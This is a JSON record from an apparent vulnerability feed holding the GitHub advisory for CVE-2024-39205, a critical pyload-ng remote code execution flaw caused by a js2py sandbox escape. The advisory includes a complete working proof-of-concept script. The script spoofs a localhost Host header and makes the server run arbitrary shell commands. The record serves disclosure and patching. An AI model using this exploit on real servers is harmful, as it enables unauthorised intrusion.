{"vuln_id":"CVE-2024-39205","aliases":["GHSA-r9pp-r4xf-597r","CVE-2024-28397"],"description":"pyload-ng vulnerable to RCE with js2py sandbox escape","published_at":"2024-09-09T18:17:20Z","modified_at":"2026-11-16T16:03:26Z","first_seen_at":"2026-11-21T19:15:20.263699Z","severity":"critical","severity_source":"ghsa","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":["CWE-94"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":0.18572,"epss_percentile":0.9731,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://nvd.nist.gov/vuln/detail/CVE-2024-39205"},"matched_alias":null,"items":[{"id":2511,"source":{"id":"ghsa","name":"GitHub Security Advisories"},"title":"GHSA-r9pp-r4xf-597r / CVE-2024-39205: pyload-ng vulnerable to RCE with js2py sandbox escape","summary":"pyload-ng vulnerable to RCE with js2py sandbox escape\n\n### Summary\nAny pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.\n\n### Details\njs2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.\n \n### PoC\n\nThe PoC is provided as `poc.py` below, you can modify the shell command it execute:\n\n```python\nimport socket\nimport base64\nfrom urllib.parse import quote\n\nhost, port = input(\"host: \"), int(input(\"port: \"))\n\npayload = \"\"\"\n// [+] command goes here:\nlet cmd = \"head -n 1 /etc/passwd; calc; gnome-calculator;\"\nlet hacked, bymarve, n11\nlet getattr, obj\n\nhacked = Object.getOwnPropertyNames({})\nbymarve = hacked.__getattribute__\nn11 = bymarve(\"__getattribute__\")\nobj = n11(\"__class__\").__base__\ngetattr = obj.__getattribute__\n\nfunction findpopen(o) {\n    let result;\n    for(let i in o.__subclasses__()) {\n        let item = o.__subclasses__()[i]\n        if(item.__module__ == \"subprocess\" && item.__name__ == \"Popen\") {\n            return item\n        }\n        if(item.__name__ != \"type\" && (result = findpopen(item))) {\n            return result\n        }\n    }\n}\n\nn11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\nconsole.log(n11)\nfunction f() {\n    return n11\n}\n\n\"\"\"\n\ncrypted_b64 = base64.b64encode(b\"1234\").decode()\n\ndata = f\"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}\"\n\nrequest = f\"\"\"\\\nPOST /flash/addcrypted2 HTTP/1.1\nHost: 127.0.0.1:9666\nContent-Type: application/x-www-form-urlencoded\nContent-Length: {len(data)}\n\n{data}\n\"\"\".encode().replace(b\"\\n\", b\"\\r\\n\")\n\ndef main():\n\n    s = socket.socket()\n    s.connect((host, port))\n\n    s.send(request)\n    response = s.recv(1024).decode()\n    print(response)\n\nif __name__ == \"__main__\":\n    main()\n\n\n```\n\n### Impact\n\nAnyone who runs the latest version (<=0.5.0b3.dev85) of  pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.\n\nAffected packages: pip:pyload-ng","url":"https://github.com/advisories/GHSA-r9pp-r4xf-597r","published_at":"2024-09-09T18:17:20Z","updated_at":"2026-11-16T16:03:26Z","fetched_at":"2026-11-21T19:15:18.416895Z","severity":"critical","cvss_score":9.3,"epss":0.18572,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"pyload-ng","vuln_id":"CVE-2024-39205","vuln_ids":["CVE-2024-28397","CVE-2024-39205","GHSA-R9PP-R4XF-597R"],"tags":["ghsa","pip","CWE-94"],"cluster_id":2465,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2511","html":"https://vulnwatch.ve1ve2.com/item/2511"}}]}